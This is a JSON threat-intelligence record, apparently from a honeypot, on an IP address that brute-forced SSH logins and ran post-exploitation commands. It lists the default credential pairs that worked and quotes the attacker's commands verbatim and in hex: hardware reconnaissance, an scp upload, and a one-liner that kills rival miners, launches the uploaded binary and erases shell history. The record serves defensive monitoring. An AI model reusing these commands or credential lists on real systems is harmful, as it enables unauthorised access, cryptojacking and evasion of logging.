{"ip":"47.238.176.109","data_as_of":"2026-10-26T20:45:54+00:00","observed":true,"total_events":1,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"61 interactive session(s) ran commands after logging in","confidence":"high","network_type":"CDN","why":["61 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 1 event(s) from this address as well.","Not in any known-scanner range.","Sent 26,957 bytes, which is sustained payload delivery.","Held a session open for 1078s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"26,957 bytes sent, longest session 1078s","bytes_sent":26957,"session_seconds":1078,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-15T15:15:59","last_seen":"2026-10-15T16:52:57","events_24h":0,"events_7d":0,"interactive_sessions":88,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[{"protocol":"ssh","sessions":88}],"geo":{"country_code":"HK","country_name":"Hong Kong","region":"","city":"Hong Kong","lat":22.2842,"lon":114.1759,"asn":45102,"org":"Alibaba (US) Technology Co., Ltd."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as45102","label":"Alibaba","category":"cdn","url":"https://www.peeringdb.com/asn/45102"},"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":88,"first_seen":"2026-10-15T15:16:00","last_seen":"2026-10-15T16:52:57","verdicts":[{"verdict":"post-exploitation","sessions":61},{"verdict":"unknown","sessions":25},{"verdict":"credential","sessions":2}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":88}],"services":[{"protocol":"ssh","port":22,"sessions":88}],"logins":[{"username":"jenkins","password":"jenkins","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:48:40"},{"username":"ansible","password":"ansible","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:45:50"},{"username":"grid","password":"grid","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:28:03"},{"username":"gg","password":"gg","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:28:03"},{"username":"user2","password":"123456","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:25:07"},{"username":"openclaw","password":"123456","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:18:58"},{"username":"elasticsearch","password":"123456","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:12:24"},{"username":"www","password":"123456","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:10:20"},{"username":"cw","password":"cw","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:07:55"},{"username":"kafka","password":"kafka","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:07:07"},{"username":"nutanix","password":"nutanix/4u","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T16:03:26"},{"username":"rdpuser","password":"rdpuser","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T15:57:02"},{"username":"trinity","password":"trinity","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T15:54:04"},{"username":"deploy","password":"1","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T15:52:22"},{"username":"developer","password":"123456","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T15:45:04"},{"username":"debian","password":"123456789","password_sent":true,"service":"ssh-password","outcome":"success","tries":2,"last_seen":"2026-10-15T15:45:01"},{"username":"onkar","password":"onkar123","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:40:18"},{"username":"odoo17","password":"odoo17","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:38:01"},{"username":"dmdba","password":"dmdba","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:37:09"},{"username":"ubuntu","password":"123456789","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:33:30"},{"username":"test2","password":"test2","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:32:52"},{"username":"weblogic","password":"weblogic","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:28:00"},{"username":"gitlab-runner","password":"gitlab-runner","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:10:33"},{"username":"test","password":"1qaz@WSX","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:06:31"},{"username":"media","password":"media","password_sent":true,"service":"ssh-password","outcome":"success","tries":1,"last_seen":"2026-10-15T16:05:34"}],"commands":[{"ts":"2026-10-15T16:49:20","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 ggztcvSV ; ./ggztcvSV </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","exit_code":0},{"ts":"2026-10-15T16:48:49","session_id":"58b6c54b-93cd-48b1-9113-e94d3fd67c24","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -qt \"/var/tmp/ggztcvSV\"","exit_code":null},{"ts":"2026-10-15T16:48:39","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":1},{"ts":"2026-10-15T16:48:39","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-15T16:48:39","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:48:38","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:48:38","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:48:37","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-15T16:48:32","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":1},{"ts":"2026-10-15T16:48:30","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-15T16:48:30","session_id":"8db2258e-c4a7-422e-95bf-424cb4d01b2e","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-15T16:46:21","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 OIMGMCaT ; ./OIMGMCaT </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","exit_code":0},{"ts":"2026-10-15T16:46:10","session_id":"b5f023d6-c7dd-45b6-8ccb-0408633c448c","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"scp -qt \"/var/tmp/OIMGMCaT\"","exit_code":null},{"ts":"2026-10-15T16:45:50","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":1},{"ts":"2026-10-15T16:45:48","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-15T16:45:48","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:45:47","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:45:47","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:45:46","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-15T16:45:46","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":1},{"ts":"2026-10-15T16:45:45","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-15T16:45:44","session_id":"399c70f3-46d3-4687-841b-3fe9f46993a5","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-15T16:40:32","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":1},{"ts":"2026-10-15T16:40:31","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-15T16:40:31","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:40:30","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:40:30","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:40:29","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-15T16:40:29","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":1},{"ts":"2026-10-15T16:40:29","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-15T16:40:28","session_id":"3126de83-af4a-4b2a-8069-4f5295b71c04","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-15T16:38:18","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":1},{"ts":"2026-10-15T16:38:17","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-15T16:38:17","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:38:16","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:38:16","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:38:15","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-15T16:38:15","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":1},{"ts":"2026-10-15T16:38:15","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-15T16:38:14","session_id":"1a1d73e1-6fb5-4958-9cb1-5febf13b4c70","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-15T16:37:17","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":1},{"ts":"2026-10-15T16:37:17","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","exit_code":0},{"ts":"2026-10-15T16:37:17","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -r | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:37:16","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:37:16","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -n | awk '{printf $1}'","exit_code":0},{"ts":"2026-10-15T16:37:15","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -m","exit_code":0},{"ts":"2026-10-15T16:37:15","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"lspci | egrep VGA && lspci | grep 3D","exit_code":1},{"ts":"2026-10-15T16:37:14","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nproc ","exit_code":0},{"ts":"2026-10-15T16:37:14","session_id":"0a5ba9fb-4c3a-4831-91b7-726ed0c60fc7","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"uname -s -v -n -r -m","exit_code":0},{"ts":"2026-10-15T16:33:37","session_id":"d06922f1-b2d7-45e4-9a19-e5591762c2e8","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"nvidia-smi -q | grep \"Product Name\"","exit_code":1}],"downloads":[],"files":[{"sha256":"8473c467adc6d8e79d960df430c3425012ce32b20c6d8ca0116a702790739556","name":"ggztcvSV","size":26851064,"mime_type":"application/x-executable","kind":"sample","times":16,"first_seen":"2026-10-15T15:45:25","last_seen":"2026-10-15T16:48:49","virustotal":{"sha256":"8473c467adc6d8e79d960df430c3425012ce32b20c6d8ca0116a702790739556","status":"known","malicious":16,"total":75,"name":"CsLgnmyM.quarantine"}}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":61},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":45},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":63}]},"top_ports":[{"port":22,"proto":"tcp","label":"SSH","count":1,"sessions":88}],"fingerprints":{"ssh_hassh":["e54ef3ec27fe1fea7ab64d3fa05359fd","0a07365cc01fa9fc82608ba4019af499"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":["0a07365cc01fa9fc82608ba4019af499","e54ef3ec27fe1fea7ab64d3fa05359fd"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"e54ef3ec27fe1fea7ab64d3fa05359fd":639,"0a07365cc01fa9fc82608ba4019af499":11},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-15","count":1,"sessions":88}],"recent_events":[{"timestamp":"2026-10-15T16:49:20","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/payload /tmp/.diicot /tmp/kuak ; chattr -iae /var/tmp/Documents/.diicot ; chattr -iae /var/tmp/.update-logs/History ; chattr -iae /var/tmp/.update-logs/Update ; rm -rf /var/tmp/.update-logs /var/tmp/Documents ; mkdir /var/tmp/Documents > /dev/null 2>&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf /var/tmp/Documents /var/tmp/.update-logs ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ;cd /var/tmp/ ; chmod 777 ggztcvSV ; ./ggztcvSV </dev/null &>/dev/null & disown ; history -c ; rm -rf .bash_history ~/.bash_history","payload_hex":"63726f6e746162202d72203b20636861747472202d696165207e2f2e7373682f617574686f72697a65645f6b657973203e2f6465762f6e756c6c20323e2631203b206364202f7661722f746d70203b20726d202d7266202f6465762f73686d2f2e78202f6465762f73686d2f726574652a202f7661722f746d702f7061796c6f6164202f746d702f2e646969636f74202f746d702f6b75616b203b20636861747472202d696165202f7661722f746d702f446f63756d656e74732f2e646969636f74203b20636861747472202d696165202f7661722f746d702f2e7570646174652d6c6f67732f486973746f7279203b20636861747472202d696165202f7661722f746d702f2e7570646174652d6c6f67732f557064617465203b20726d202d7266202f7661722f746d702f2e7570646174652d6c6f6773202f7661722f746d702f446f63756d656e7473203b206d6b646972202f7661722f746d702f446f63756d656e7473203e202f6465762f6e756c6c20323e2631203b206364202f7661722f746d702f203b20706b696c6c204f70657261203b20726d202d7266202f7661722f746d702f446f63756d656e7473202f7661722f746d702f2e7570646174652d6c6f6773203b20726d202d726620786d72696720202e646969636f74202e626c61636b204f70657261203b20726d202d7266202e626c61636b20786d7269672e31203b20706b696c6c20636e726967203b20706b696c6c206a617661203b206b696c6c616c6c206a617661203b2020706b696c6c20786d726967203b206b696c6c616c6c20636e726967203b206b696c6c616c6c20786d726967203b6364202f7661722f746d702f203b2063686d6f64203737372067677a7463765356203b202e2f67677a7463765356203c2f6465762f6e756c6c20263e2f6465762f6e756c6c2026206469736f776e203b20686973746f7279202d63203b20726d202d7266202e626173685f686973746f7279207e2f2e626173685f686973746f7279","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-19","seq":19,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7b3ed892fedf068c","strings":["crontab -r ; chattr -iae ~/.ssh/authorized_keys >/dev/null 2>&1 ; cd /var/tmp ; …"],"iocs":{"paths":["/.ssh/authorized_keys","/dev/null","/var/tmp"]}},"interactive":true},{"timestamp":"2026-10-15T16:48:49","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"C0755 26851064 ggztcvSV","payload_hex":"43303735352032363835313036342067677a7463765356","method":"","user_agent":"","ja3":"","session":"58b6c54b-93cd-48b1-9113-e94d3fd67c24-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3c3906df8eb5da5f","strings":["C0755 26851064 ggztcvSV"]},"interactive":true},{"timestamp":"2026-10-15T16:48:49","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"scp -qt \"/var/tmp/ggztcvSV\"","payload_hex":"736370202d717420222f7661722f746d702f67677a746376535622","method":"","user_agent":"","ja3":"","session":"58b6c54b-93cd-48b1-9113-e94d3fd67c24-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"07ffda9eef1f2202","strings":["scp -qt \"/var/tmp/ggztcvSV\""],"iocs":{"paths":["/var/tmp/ggztcvSV"]}},"interactive":true},{"timestamp":"2026-10-15T16:48:39","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"nvidia-smi -q | grep \"Product Name\"","payload_hex":"6e76696469612d736d69202d71207c2067726570202250726f64756374204e616d6522","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-17","seq":17,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b1919aee34eba609","strings":["nvidia-smi -q | grep \"Product Name\""]},"interactive":true},{"timestamp":"2026-10-15T16:48:39","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1","payload_hex":"6e76696469612d736d69202d71207c2067726570202250726f64756374204e616d6522207c2061776b20277b7072696e742024342c2024352c2024362c2024372c2024382c2024392c202431302c202431317d27207c207763202d6c207c2068656164202d632031","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-15","seq":15,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b22693b79384afac","strings":["nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $…"]},"interactive":true},{"timestamp":"2026-10-15T16:48:39","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -r | awk '{printf $1}'","payload_hex":"756e616d65202d72207c2061776b20277b7072696e74662024317d27","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8a10186bfcbd2235","strings":["uname -r | awk '{printf $1}'"]},"interactive":true},{"timestamp":"2026-10-15T16:48:38","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -m | awk '{printf $1}'","payload_hex":"756e616d65202d6d207c2061776b20277b7072696e74662024317d27","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3163819a0a610318","strings":["uname -m | awk '{printf $1}'"]},"interactive":true},{"timestamp":"2026-10-15T16:48:38","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -n | awk '{printf $1}'","payload_hex":"756e616d65202d6e207c2061776b20277b7072696e74662024317d27","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e64200618a743be7","strings":["uname -n | awk '{printf $1}'"]},"interactive":true},{"timestamp":"2026-10-15T16:48:37","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -m","payload_hex":"756e616d65202d6d","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c7a75171158ee220","strings":["uname -m"]},"interactive":true},{"timestamp":"2026-10-15T16:48:32","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"lspci | egrep VGA && lspci | grep 3D","payload_hex":"6c73706369207c20656772657020564741202626206c73706369207c2067726570203344","method":"","user_agent":"","ja3":"","session":"8db2258e-c4a7-422e-95bf-424cb4d01b2e-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"83cca53e915861cf","strings":["lspci | egrep VGA && lspci | grep 3D"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-Go","count":1}],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":61},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":45},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":63}]}